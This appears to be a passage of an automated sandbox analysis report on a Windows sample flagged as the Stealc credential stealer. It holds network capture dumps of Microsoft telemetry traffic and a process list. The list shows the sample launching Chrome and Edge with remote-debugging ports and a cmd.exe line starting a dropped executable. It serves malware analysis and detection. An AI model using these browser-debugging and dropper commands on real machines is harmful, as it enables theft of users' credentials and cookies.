xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:04 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:04 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:04 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231604Z-r1cf579d778w59f9hC1EWRze6w00000000u000000000bwm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:16:04 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49880	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:05 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=gxgonE+wNecUoDx&MD=dbwZGS6d HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-06 23:16:05 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 2cda0491-7206-4d8b-bc0f-90e06e974b3b MS-RequestId: 8604bc12-7c87-4bb5-8112-493bc579b7c7 MS-CV: DSKLx1PTmU6JZidd.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 06 Dec 2024 23:16:04 GMT Connection: close Content-Length: 30005
2024-12-06 23:16:05 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-06 23:16:05 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:06 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 94f5badb-301e-0000-7603-48eecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231606Z-r1cf579d778d5zkmhC1EWRk6h8000000017g000000001n7p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:06 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231606Z-r1cf579d778zvkpnhC1EWRv23g00000000w000000000935s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:06 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231606Z-r1cf579d778w59f9hC1EWRze6w00000000xg000000005wbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:06 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:06 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:06 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:06 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231606Z-r1cf579d778dc6d7hC1EWR2vs8000000018000000000dg1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:06 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:07 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:07 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:07 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: b15ffdf0-e01e-0051-2acd-4584b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231607Z-1746fd949bd4w8sthC1EWR700400000004m000000000h9ct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:07 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:08 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:08 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 46703850-c01e-002b-03cc-456e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231608Z-1746fd949bdkw94lhC1EWRxuz400000004y000000000vbfg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:08 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:16:08 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:16:08 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:16:08 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 1f576be4-501e-008f-5405-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231608Z-r1cf579d778w59f9hC1EWRze6w00000000x0000000006nx0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:16:08 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Target ID:	0
Start time:	18:15:08
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x690000
File size:	5'192'704 bytes
MD5 hash:	4F838339F38F07F8A4FAEBABBC11477B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2758018084.0000000000691000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2762226429.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	18:15:20
Start date:	06/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:15:20
Start date:	06/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2152,i,8681884789018935076,13481232755456016495,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:15:30
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	18:15:30
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2368 --field-trial-handle=2268,i,10244731993118396883,10174492265466418561,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:15:30
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:15:31
Start date:	06/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2020,i,1685373898731975698,6692062236660730877,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	18:16:05
Start date:	06/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\JKKKJJJKJK.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	18:16:05
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
